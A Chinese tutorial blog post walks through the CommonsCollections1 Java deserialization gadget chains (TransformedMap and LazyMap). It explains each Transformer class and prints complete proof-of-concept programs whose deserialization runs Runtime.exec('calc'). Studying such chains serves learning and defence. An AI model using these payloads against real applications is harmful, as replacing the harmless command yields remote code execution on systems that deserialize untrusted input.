[Java反序列化]—CommonsCollections1

378 阅读11分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第5天,点击查看活动详情

前言

本篇进行CommonsCollections1 TransformedMap链和LazyMap链的学习。

CommonsCollections1

IDEA调试

JDK安装

高版本的 jdk 会修复一些漏洞,所在进行CC1链分析前,需要对IDEA进行调试即安装未修复漏洞前的JDK版本链接,下载完成后可以放在虚拟机中进行安装,之后再将安装好的JDK文件放到物理机中

image-20220405160216834

对于CC1JDK版本应该为8u71之前,这里用8u65即可

替换源码

在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换链接,下载zip文件

sun文件夹复制到src.zip解压后的src目录下即可

image-20220405162041680

File->Project Structure将配置好的src文件导入

image-20220405163109335

新建Maven项目

File->New Project

image-20220405203347104

构建好后把依赖写入pom.xml中,点击右上角的Maven图标配置依赖即可

<dependencies>
​
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency></dependencies>

若构建好后仍为class文件,并且查看文件时出现以下提示,则代表 maven 项目没有加载成功,可能与 maven 版本有关,需要手动加载

image-20220405211058394

点击Maven图标,使用 Execute Maven Goal

image-20220405211200226

输入如下命令安装即可

mvn dependency:resolve -Dclassifier=sources

TransformedMap链

IDEA调试好后就开始分析CC1了,CC1一共有两条链——TransformedMapLazyMap,先看下TransformedMap

利用类分析

TransformedMap链中主要就是通过几个Transform实现类来完成的,所以先截取部分代码了解下这几个类

Transformer

首先就是接口Transformer,只定义了一个transform方法

public interface Transformer {
​
    public Object transform(Object input);
}

TransformedMap

直接看类中的decorate()方法,第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
        
            public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
​

这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。

实例理解

test1()处打个断点,debug一下就可以比较直观的了解其作用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.util.HashMap;
import java.util.Map;
​
public class Demo01 {
    public static void main(String[] args) {
        test1();
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
    public static void test1(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    }
}
​
class KeyTransformer implements Transformer {
​
    @Override
    public Object transform(Object o) {
        System.out.println("KeyTransformer1");
        return "key1";
    }
}
class ValueTransformer implements Transformer{
​
    @Override
    public Object transform(Object o) {
        System.out.println("ValueTransformer");
        return "value";
    }
​
}
​

ConstantTransformer

比较好理解,利用getInstance传值后,会通过transform将对象返回

public class ConstantTransformer implements Transformer, Serializable {
​
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    
        public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
        public Object transform(Object input) {
        return iConstant;
    }
}
实例理解

同样在test2()打断点debug可以比较直观的了解

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.util.HashMap;
import java.util.Map;
​
public class Demo02 {
    public static void main(String[] args) {
        test2();
    }
    public static void test2(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("Sentiment"));
        outerMap.put("key","value");
        printMap(outerMap);
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
}
​

InvokerTransformer

简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)

public class InvokerTransformer implements Transformer, Serializable {
​
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
        public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
​
}
实例理解

test3()debug调试

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.util.HashMap;
import java.util.Map;
​
public class Demo03 {
    public static void main(String[] args) {
        test3();
    }
    public static void test3(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,
                InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
​
        outerMap.put("key",Runtime.getRuntime());
    }
}

ChainedTransformer

类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
​
public class Demo04 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("Sentiment","Sentiment");
    }
}
​

test4()处断点debug调试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
​
public class Demo04 {
    public static void main(String[] args) throws Exception {
        test4();
    }
    public static void test4(){
        //这里是定义数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("Sentiment","Sentiment");
    }
}
​

TransformedMap链分析

用回溯法分析,先看transform方法,这里try{}中的内容进行了反射调用

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        }

InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

再知道InvokerTransforme中参数可控后,就可以构造一个transform利用方式了,这里用反射和InvokerTransformer进行了对比,该方式主要是通过InvokerTransformer进行三个参数传递,在调用transform方法,执行命令

public class cc1 {
        public static void main(String[] args) throws Exception {
            //反射
            Runtime runtime = Runtime.getRuntime();
            Class c = Runtime.class;
            Method execMethod = c.getMethod("exec", String.class);
            execMethod.invoke(runtime,"calc");
            //InvokerTransformer
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
        }
}

接下来看下谁调用了InvokerTransformer类中的transform方法,在该方法上Alt+F7查看,发现checkSetValue方法中调用了valueTransformer的transform

image-20220406205917357

往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
​
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}  

此时就可以通过decorate方法进行调用了

public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map, null, invokerTransformer);
    }
}
​

继续跟进查看谁调用了checkSetValue,在AbstractInputCheckedMapDecoratorsetValue方法中找到

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进查看何处调用setValue,在AnnotationInvocationHandler中找到,并且该方法重写了readObject,至此整条链结束,下面就是POC编写了

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
​
​
    // Check to make sure that types have not evolved incompatibly
​
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
​
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
​
​
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

四个问题

Runtime未实现序列化

此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer

//反射
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object r = getRuntimeMethod.invoke(null, null);             //静态无参方法所以都是null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//InvokerTransformer
Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
​
Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);
​
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
//ChainedTransformer
Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);
AnnotationInvocationHandler无法实例化

在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public,所以默认是default,无法进行实例化

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
​
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

这里同样使用反射方式获取,这里的outerMap是构造好的Map对象

    //Reflection
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
    cons.setAccessible(true);
    Object o = cons.newInstance(Retention.class,outerMap);
memberType 判断
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
​
​
        // Check to make sure that types have not evolved incompatibly
​
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
​
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
​
​
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

通过上边源码可以看出memberType只有不为null时才能执行

if (memberType != null) {  // i.e. member still exists

这里看下p神给出的两个条件

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素

简单分析一下

在这里会获取我们传入注解的成员变量

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

看下比较常用的Override注解,可以发现其中是没有成员变量的

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

后来在@Target、@Retention中都发现了成员变量且都是value

@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
​
    ElementType[] value();
}

知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
setValue实参不可控

除此外可以看到这里的setValue的值暂时不可控

memberValue.setValue(
           new AnnotationTypeMismatchExceptionProxy(
           value.getClass() + "[" + value + "]").setMember(
           annotationType.members().get(name)));

看下setValue方法

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进checkSetValue方法,会调用valueTransformer的transform方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这时候就联想到了前边说到的ConstantTransformer类,在实例化时调用构造器方法,传入的参数,会经过transform返回,所以如果通过该方法无论transform中的input是何值,都不会改变他return的内容

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
​
public Object transform(Object input) {
    return iConstant;
}

所以这里在问题一的ChainedTransformer调用的transformers数组中加上实例化ConstantTransformer内容即可

Transformer[] transformers = new Transformer[]{
            //----------加入的内容------------
             new ConstantTransformer(Runtime.class),
            //--------------------------------
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);

至此所有问题都解决了

最终payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
​
public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Sentiment");
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
​
        //Reflection
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, outerMap);
​
        serialize(o);
        unserialize("1.txt");
​
    }
​
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }
​
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}
​

LazyMap链

在了解TransformedMap链后,LazyMap就比较容易理解了,这里也利用了之前说到的动态代理

TransformedMap中查找谁能调用transform方法时,其实除了checkSetValue可以外,LazyMap中的get()方法也可以调用

image-20220407134317201

先看下LazyMap类,其中有个get()方法,大意key不存在时,会自动创建对象并存放到map中

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
        
         public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以看个例子理解下:key不存在时将Sentiment存放到map中

public class Test1 {
    public static void main(String[] args) {
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("Sentiment"));
        Object value = outerMap.get("key");
        System.out.println(value);
    }
}

LazyMap链分析

而在get()中,是通过factory来调用transform()——factory.transform(key); 所以就需要调用Lazymap的decorate()

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

decorate()会调用LazyMap的构造方法,进而对factory赋值

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

所以要将TransformMap的链进行修改

//TransformMap
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//LazyMap
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

之所以会用到动态代理,就是因为LazyMap中,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();
​
    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;
​
    // Handle annotation member accessors
    Object result = memberValues.get(member);
​
    if (result == null)
        throw new IncompleteAnnotationException(type, member);
​
    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();
​
    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);
​
    return result;
}

所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler类实现了InvocationHandler类,直接就会联想到前边说过的代理

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

所以可以通过AnnotationInvocationHandler对构造的Map进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandlerinvoke方法中,从而调用get方法

 InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
​
   Map proxyMap = (Map) Proxy.newProxyInstance(
             Map.class.getClassLoader(),
             new Class[]{Map.class},
             handler
    );

在知道如何调用get()后,其他利用点基本一致了

最终POC

package CommonsCollections1;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
​
public class cc11 {
    public static void main(String[] args) throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
​
            Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
​
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
​
            Map proxyMap = (Map) Proxy.newProxyInstance(
                    Map.class.getClassLoader(),
                    new Class[]{Map.class},
                    handler
            );
            Object o = constructor.newInstance(Target.class, proxyMap);
​
        serialize(o);
        unserialize("1.txt");
​
    }
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }
​
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}
​

总结

CommonsCollection链对于初学来说可能比较难理解,但只要耐心了解每个类和方法,不断调式也是可以接受的,至此CommonsCollection1就结束了,离着Java反序列化入门又进了一步